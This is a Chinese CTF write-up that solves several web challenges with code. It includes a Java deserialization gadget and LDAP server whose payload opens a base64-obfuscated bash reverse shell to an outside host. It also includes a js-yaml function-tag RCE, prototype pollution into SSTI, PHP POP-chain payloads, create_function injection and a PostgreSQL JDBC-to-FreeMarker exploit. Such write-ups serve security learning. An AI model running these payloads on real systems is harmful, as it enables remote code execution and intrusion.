web

ai_java

首先通过附件帐号信件获取到帐号


通过base64或者jsfuck可获取提示js和c，审计一下js那么可以看到c函数，运行一下。获取到 github 项目地址

查找提交历史我们发现了源码

审计源码发现为 可能存在spring–boot 未授权绕过

在admin的页面下的/post_message/接口存在fastjson解析

查看具体版本发现无法直接ladp攻击，查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}

public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
xlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxldmlsOwEABHZhcjEBAC1MY29tL
3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAR2YXIyAQBCW0xj
b20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGl
vbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbG
FuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hb
C9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL9hcGFjaGUveG1sL2ludGVybmFsL3Nlc
mlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBADVMY29tL3N1bi9vcmcvYXBhY2hl
L3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEABHZhcjMBAEFMY29tL3N1bi9
vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbG
VyOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sY
W5nL1N0cmluZzsHACwBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAJZXZpbC5qYXZh
BwAtDAAuAC8BAGFiYXNoIC1jIHtlY2hvLFltRnphQ0F0YVNBK0ppOWtaWFl2ZEdOd0x6UTN
MakV4TXk0eE9Ua3VNVFE0THpnNE9EZ2dNRDRtTVE9PX18e2Jhc2U2NCwtZH18e2Jhc2gsLW
l9DAAwADEHADIMADMANAwAHgAfAQAEZXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhb
i9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29y
Zy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZ
hL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKC
lMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphd
mEvbGFuZy9Qcm9jZXNzOwEAA0NDNgEACmdldFBheWxvYWQBAAQoKVtCACEABgAHAAAAAAAE
AAEACAAJAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAALAAwAAAAgAAMAAAABAA0
ADgAAAAAAAQAPABAAAQAAAAEAEQASAAIAEwAAAAQAAQAUAAEACAAVAAIACgAAAEkAAAAEAA
AAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAqAAQAAAABAA0ADgAAAAAAAQAPABAAAQAAAAEAE
QAWAAIAAAABABcAGAADABMAAAAEAAEAFAAJABkAGgACAAoAAABAAAIAAQAAAA64AAESArYA
A1e4AARXsQAAAAIACwAAAA4AAwAAABEACQASAA0AEwAMAAAADAABAAAADgAbABwAAAATAAA
ABAABAB0AAQAeAB8AAgAKAAAAQAACAAEAAAAOKrcABbgAARICtgADV7EAAAACAAsAAAAOAA
MAAAAUAAQAFQANABYADAAAAAwAAQAAAA4ADQAOAAAAEwAAAAQAAQAdAAEAIAAAAAIAIXB0A
AN0dnRwdwEAeHEAfgANeA==";
e.addAttribute("javaSerializedData", Base64.getDecoder().dec
ode(base64EncodedData));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}

我们对编译好的 CB 使 base64 编码,不直接调用.防止 jar 包时的内部 api 错误. 本地我们使用 CVE-2022-22978 绕过身份认证,使用 fastjson 的缓存绕过,实现 jndi注入
的发起.

 

signal

首先这个题因为是把其他文件格式转换为yaml格式然后yaml.load()会加载为js对象,在github找js-yaml文档说明,怎么解析对象的，官网也给了例子的,这里就直接看它能解析成什么

发现能解析方法

js-yaml的version 是3.14.1 ，跟新版本提交对比
https://github.com/nodeca/js-yaml/commit/ee74ce4b4800282b2f23b776be7dc95dfe34db1c
这是默认为危险模式的最后一个版本，该模式允许您使用 tag 构造任意 JS 函数。!!js/function

然后在模版渲染的地方,会自动调用对象的tostring方法
所以上传文件yaml文件内容为下面payload就行了

"name" : { toString: !!js/function "function(){ flag = process.mainModule.require('child_process').execSync('cat /fla*').toString(); return flag;}"}

Swagger docs

1.读接口文档弄清楚网站功能
2.注册用户

http://47.108.206.43:40476/api-base/v0/register
{"username":"admin","password":"admin"}

3.登陆

http://47.108.206.43:40476/api-base/v0/login
{"username":"admin","password":"admin"}

4.任意文件读取
测试发现在/api-base/v0/search接口存在任意文件读取

• 读进程

http://47.108.206.43:40476/api-base/v0/search?file=../../../../../proc/1/cmdline&type=text

• 读源码位置

http://47.108.206.43:40476/api-base/v0/search?file=../../../../../app/run.sh&type=text

• 读源码

5.代码审计

• 发现/api-base/v0/search存在render_template_string(）,可导致ssti造成rce，只需要控制渲染内容即可
• uapate()函数中存在类似于原型链污染，可以利用来修改环境变量

这一步思路就是通过原型链污染，修改http_proxy环境变量，即可控制请求的响应数据来造成ssti，实现rce。

http://47.108.206.43:40476/api-base/v0/update
{
        "__init__": {
            "__globals__": {
                "os": {
                    "environ": {
                        "http_proxy":"ip:port"
                    }
                }
            }
        }
    }

修改代理后即可随意发送请求（注意：得选择text才能进入渲染）

http://47.108.206.43:40476/api-base/v0/search?file=user&type=text

VPS控制请求响应:
HTTP/1.1 200 OK

{{lipsum.__globals__['os'].popen('cat EY6zl0isBvAWZFxZMvCCCTS3VRVMvoNi_FLAG').read()}}

此外，除了配合render_template_string()实现rce以外，还有其他师傅采用了其他方法。这里贴一个p4d0rn师傅的方法，感谢p4d0rn的支持！

 

easy_unserialize

被打爆了QAQ, 考虑实在不周到, 导致出现了很多非预期解, 向师傅们说抱歉了
题目:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }

    public function __isset($arg1)
    {
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }

    public function __get($arg1)
    {
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

if(isset($_POST['D0g3']))
{
    unserialize($_POST['D0g3']);
}else{
    highlight_file(__FILE__);
}
?>

第一点: shell脚本变量构造数字

if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
if ($this->gg2)

// 故:
$g = new Good('${##}');

另: 由于本题出题人的失误, 题目中preg_match() 这里逻辑其实有问题, 导致任意赋值均可

第二点: 双重md5:

if(md5(md5($this->md5)) == 666)

md5.py:

# -*- coding: utf-8 -*-
# 运行: python2 md5.py "666" 0
import multiprocessing
import hashlib
import random
import string
import sys

CHARS = string.ascii_letters + string.digits


def cmp_md5(substr, stop_event, str_len, start=0, size=20):
    global CHARS
    while not stop_event.is_set():
        rnds = ''.join(random.choice(CHARS) for _ in range(size))
        md5 = hashlib.md5(rnds)
        value = md5.hexdigest()
        if value[start: start + str_len] == substr:
            # print rnds
            # stop_event.set()

            # 碰撞双md5
            md5 = hashlib.md5(value)
            if md5.hexdigest()[start: start + str_len] == substr:
                print rnds + "=>" + value + "=>" + md5.hexdigest() + "\n"
                stop_event.set()



if __name__ == '__main__':
    substr = sys.argv[1].strip()
    start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
    str_len = len(substr)
    cpus = multiprocessing.cpu_count()
    stop_event = multiprocessing.Event()
    processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
                                                               stop_event, str_len, start_pos))
                 for i in range(cpus)]
    for p in processes:
        p.start()
    for p in processes:
        p.join()

python2 md5.py "666" 0 

三部分从左向右分别是源字符串、md5一次加密、md5二次加密
取符合要求(本题要求前三位为666)的md5二次加密对应的源字符串即可 (可能需要运行多次)

第三点:

if(urldecode($this->arg1)===base64_decode($this->arg1))

可以用数组绕过:

$t = new To();
$t->arg1[]=1;

也可以直接赋值为空:

$t = new To();
$t->arg1 = '';

第四点 :

array_walk($this, function ($one, $two) {
        $three = new $two($one);
        foreach($three as $tmp){
            echo ($tmp.'<br>');
        }
});

这里先用原生类FilesystemIterator或DirectoryIterator扫目录, 再用原生类SplFileObject读flag
即:

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件

以下是完整的pop链:

//原生类FilesystemIterator或DirectoryIterator扫目录：
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
    public $FilesystemIterator='/'; //扫目录文件
   // 或者是 public $DirectoryIterator = "glob:///F*";
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A18%3A%22FilesystemIterator%22%3Bs%3A1%3A%22%2F%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

可以用FilesystemIterator类:

或者用DirectoryIterator类:

//原生类SplFileObject读文件
<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

class Flag{
     public $SplFileObject='/FfffLlllLaAaaggGgGg'; //读文件
}
$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42'); // 这个不固定
$t = new To();
$y= new You();
$f = new Flag();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1=$f;      // Luck::__toString()->Flag::__invoke()
echo urlencode(serialize($y));

//对应payload:
O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3BO%3A4%3A%22Flag%22%3A1%3A%7Bs%3A13%3A%22SplFileObject%22%3Bs%3A20%3A%22%2FFfffLlllLaAaaggGgGg%22%3B%7Ds%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A5%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

其他非预期解:
在__toString()到__invoke()衔接的时候可以直接用phpinfo:

public function __toString()
{
    $new = $this->l1;
    return $new(); // 可以直接调用phpinfo来读取flag
}

完整的pop链:

<?php
error_reporting(0);
class Good{
    public $g1;
    private $gg2;
    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
}
class Luck{
    public $l1;
    public $ll2;
    public $lll3;
    private $md5;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
}

class To{
    public $t1;
    public $tt2;
    public $arg1;
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
    }
}

$g = new Good('${##}');
$l= new Luck('wSjM90msQ7RqwX3tvQ42');// 这个不固定
$t = new To();
$y= new You();
$y->y1=$l;      // You::__wakeup()->Luck::__unset()
$l->lll3=$g;    // Luck::__unset()->Good::__isset()

$g->g1=$t;      // Good::__isset()->To::__set()
$t->tt2=$l;     // To::__set()->Luck::__get()
$l->ll2=$t;     // Luck::__get()->To::__call()
$t->arg1[]=1;
$t->t1=$l;      // To::__call()->Luck::__toString()
$l->l1='phpinfo';      // Luck::__toString()->phpinfo
echo urlencode(serialize($y));
// O%3A3%3A%22You%22%3A1%3A%7Bs%3A2%3A%22y1%22%3BO%3A4%3A%22Luck%22%3A4%3A%7Bs%3A2%3A%22l1%22%3Bs%3A7%3A%22phpinfo%22%3Bs%3A3%3A%22ll2%22%3BO%3A2%3A%22To%22%3A3%3A%7Bs%3A2%3A%22t1%22%3Br%3A2%3Bs%3A3%3A%22tt2%22%3Br%3A2%3Bs%3A4%3A%22arg1%22%3Ba%3A1%3A%7Bi%3A0%3Bi%3A1%3B%7D%7Ds%3A4%3A%22lll3%22%3BO%3A4%3A%22Good%22%3A2%3A%7Bs%3A2%3A%22g1%22%3Br%3A4%3Bs%3A9%3A%22%00Good%00gg2%22%3Bs%3A5%3A%22%24%7B%23%23%7D%22%3B%7Ds%3A9%3A%22%00Luck%00md5%22%3Bs%3A20%3A%22wSjM90msQ7RqwX3tvQ42%22%3B%7D%7D

然后得到flag
借用一下Hyperion战队师傅的图:

 

 

what’s my name

@$miao=create_function('$a, $b', $sort_function);

• 这里有一个典型的create_function的注入

?d0g3="]);}任意代码执行;/*

• 要进入该函数需要过三个条件
• 第一个条件

if(preg_match('/^(?:.{5})*include/',$d0g3))

• 这里要求传参的第6位开始必须是include,提示了使用include函数,

?d0g3="]);}include('利用语句');任意代码执行;/*

• 第二个条件

strlen($d0g3)==substr($miao, -2)

• 匿名函数在创建后,函数变量会存储一个值从lambda_1开始,数字不断增大的字符串,且每创建一次,这个字符串数字部分都会增大,除非结束php的进程,刷新网页仍会继续计数
• 这里需要控制利用语句数目等于匿名函数数字部分后两位,可以通过脚本循环实现
• 第三个条件

$name===$miao

• 看上去很简单,和第二个条件一样,比如设定好?name=lambda_10,然后访问5次页面(创建10次匿名函数)即可,但是实际上可以通过下面的语句发现,实际上创建的匿名函数的名字前面会默认带一个\0结束符,在大多数情况下这不会造成任何影响,但是在浏览器地址栏传参时,\0将无法传入

echo var_export($miao);

• 这个问题也可以通过脚本得到解决
• 通过dirsearch或者手测,我们可以发现一个admin.php,使用伪协议包含发现里面有大量的假flag(100万行),考虑使用strip_tags过滤掉大量的php标签内的无关信息
• 由此得出脚本(需要跑一会儿才出得来)

import requests
import re
url=input("请输入地址:")
while 1:
    a=requests.get(url+"?d0g3=%22]);}include(%27php://filter/read=string.strip_tags/resource=admin.php%27);echo 'aaaaaa';/*&name=\0lambda_187")
    if"aaaaaa" in a.text:
        break
    print("尝试中")
print(re.sub("aaaaaa",'',re.sub(r"<code>[\s\S]*?</code>",'',a.text)))

ez_java

根据pom.xml，环境存在CB、postgresql依赖，不难想到可以通过CB链来调用getter方法来触发postgresql JDBC攻击，对应的getter方法为BaseDataSource#getConnection

由于环境不出网，只能选择postgresql JDBC的logger链去写文件。这个可以选择通过覆盖/app/templates/index.ftl打模板注入
但需要注意的是BaseDataSource反序列化逻辑，首先是geturl方法，会把扩展参数和数据库名部分进行一次urlencode导致模板标签被编码掉，读者自行去阅读相关逻辑，进行分析调试
这里可以重写org.postgresql.ds.common.BaseDataSource，将模板注入payload放到serverNames位置避免被编码，重写部分如下：

text为freemaker模版rce的payload
其次就是触发compare，由于PriorityQueue在黑名单中，这里用treeMap#get来触发compare方法，这里用CC7相关部分触发一哈Map#get
exp

package org.example;

import org.apache.commons.beanutils.BeanComparator;
import org.postgresql.ds.PGSimpleDataSource;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.URLEncoder;
import java.util.*;


import static org.example.Tools.setFieldValue;


public class Main {
    public static void main(String[] args) throws Exception {
      	//设置扩展参数
        PGSimpleDataSource pgSimpleDataSource = new PGSimpleDataSource();
        pgSimpleDataSource.setProperty("connectTimeout","100000000000000000");
        pgSimpleDataSource.setProperty("loggerFile", "/app/templates/index.ftl");
        pgSimpleDataSource.setProperty("loggerLevel", "DEBUG");

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        setFieldValue(beanComparator, "property", "connection");

        HashMap gadgetHashMap = new HashMap();
        gadgetHashMap.put(pgSimpleDataSource, null);

        TreeMap treeMap = makeTreeMap(beanComparator);

        HashMap hashMap1 = new HashMap();
        hashMap1.put("AaAaAa", treeMap);
        hashMap1.put("BBAaBB", gadgetHashMap);

        HashMap hashMap2 = new HashMap();
        hashMap2.put("AaAaAa", gadgetHashMap);
        hashMap2.put("BBAaBB", treeMap);

        Hashtable table = new Hashtable();
        setFieldValue(table, "count", 2);
        Class nodeC = Class.forName("java.util.Hashtable$Entry");
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, hashMap1, 1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, hashMap2, 2, null));
        setFieldValue(table, "table", tbl);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(table);
        oos.close();

        System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(barr.toByteArray()))));

//        ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
//        ObjectInputStream ois = new Security(in);
//        Object ob = ois.readObject();
    }

    public static TreeMap makeTreeMap(Comparator beanComparator) throws Exception {
        TreeMap treeMap = new TreeMap(beanComparator);

        setFieldValue(treeMap, "size", 1);
        setFieldValue(treeMap, "modCount", 1);

        Class EntryC = Class.forName("java.util.TreeMap$Entry");
        Constructor EntryCons = EntryC.getDeclaredConstructor(Object.class, Object.class, EntryC);
        EntryCons.setAccessible(true);

        setFieldValue(treeMap, "root", EntryCons.newInstance("nivia", 1, null));

        return treeMap;
    }
}

攻击：
/read?exp=rO0ABXNyABNqYXZhLnV0aWwuSGFzaHRhYmxlE7sPJSFK5LgDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA%2FQAAAAAAACHcIAAAAAgAAAAJzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAnQABkFhQWFBYXNxAH4AAj9AAAAAAAAMdwgAAAAQAAAAAXNyACRvcmcucG9zdGdyZXNxbC5kcy5QR1NpbXBsZURhdGFTb3VyY2XHvJ7A3bo18QMAAHhwdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQBMmxvY2FsaG9zdC8%2Fbml2aWE9PCNhc3NpZ24gYWM9c3ByaW5nTWFjcm9SZXF1ZXN0Q29udGV4dC53ZWJBcHBsaWNhdGlvbkNvbnRleHQ%2BPCNhc3NpZ24gZmM9YWMuZ2V0QmVhbignZnJlZU1hcmtlckNvbmZpZ3VyYXRpb24nKT48I2Fzc2lnbiBkY3I9ZmMuZ2V0RGVmYXVsdENvbmZpZ3VyYXRpb24oKS5nZXROZXdCdWlsdGluQ2xhc3NSZXNvbHZlcigpPjwjYXNzaWduIFZPSUQ9ZmMuc2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoZGNyKT4keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI%2FbmV3KCkoImNhdCAvZmxhZyIpfXQAAHQBITwjYXNzaWduIGFjPXNwcmluZ01hY3JvUmVxdWVzdENvbnRleHQud2ViQXBwbGljYXRpb25Db250ZXh0PjwjYXNzaWduIGZjPWFjLmdldEJlYW4oJ2ZyZWVNYXJrZXJDb25maWd1cmF0aW9uJyk%2BPCNhc3NpZ24gZGNyPWZjLmdldERlZmF1bHRDb25maWd1cmF0aW9uKCkuZ2V0TmV3QnVpbHRpbkNsYXNzUmVzb2x2ZXIoKT48I2Fzc2lnbiBWT0lEPWZjLnNldE5ld0J1aWx0aW5DbGFzc1Jlc29sdmVyKGRjcik%2BJHsiZnJlZW1hcmtlci50ZW1wbGF0ZS51dGlsaXR5LkV4ZWN1dGUiP25ldygpKCJjYXQgL2ZsYWciKX1wdXIAAltJTbpgJnbqsqUCAAB4cAAAAAEAAAAAc3IAFGphdmEudXRpbC5Qcm9wZXJ0aWVzORLQenA2PpgCAAFMAAhkZWZhdWx0c3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cQB%2BAAA%2FQAAAAAAACHcIAAAACwAAAAN0AAtsb2dnZXJMZXZlbHQABURFQlVHdAAKbG9nZ2VyRmlsZXQAGC9hcHAvdGVtcGxhdGVzL2luZGV4LmZ0bHQADmNvbm5lY3RUaW1lb3V0dAASMTAwMDAwMDAwMDAwMDAwMDAweHB4cHh0AAZCQkFhQkJzcgARamF2YS51dGlsLlRyZWVNYXAMwfY%2BLSV